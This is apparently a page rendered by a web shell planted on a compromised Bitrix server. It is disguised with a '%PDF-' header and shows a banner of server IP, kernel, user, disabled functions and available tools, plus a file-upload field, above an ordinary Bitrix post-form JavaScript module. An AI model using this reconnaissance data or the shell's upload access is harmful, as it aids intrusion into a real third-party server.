%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.179.120 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/ |
Upload File : |
import {Type} from 'main.core'; import {EventEmitter} from 'main.core.events'; import Editor from "./editor"; import TasksLimit from "./taskslimit"; window['LHEPostForm'] = { //region compatibility getEditor: function(editor) { return (window["BXHtmlEditor"] ? window["BXHtmlEditor"].Get((typeof editor == "object" ? editor.id : editor)) : null); }, getHandler: function(editor) { const id = Type.isStringFilled(editor) ? editor : editor.id; return Editor.repo.get(id); }, getHandlerByFormId: function(formId) { let result = null; Editor.repo.forEach((editor) => { if (editor.getFormId() === formId) { result = editor; } }); return result; }, reinitData: function(editorID, text, data) { const files = {}; Object.entries(data).forEach(([userFieldName, userField]) => { if (Type.isPlainObject(userField) && userField['USER_TYPE_ID'] && userField['VALUE'] && Object.values(userField['VALUE']).length > 0 ) { files[userFieldName] = userField; } }); const handler = this.getHandler(editorID); if (handler && (handler.isReady || Type.isStringFilled(text) || Object.values(files).length > 0)) { handler.exec(handler.reinit, [text, files]); } return false; }, reinitDataBefore: function(editorID) { const handler = Editor.repo.get(editorID); if (handler && handler.getEventObject()) { EventEmitter.emit(handler.getEventObject(), 'onReinitializeBefore', [handler]); } } //endregion } export { Editor as PostForm, TasksLimit as PostFormTasksLimit, }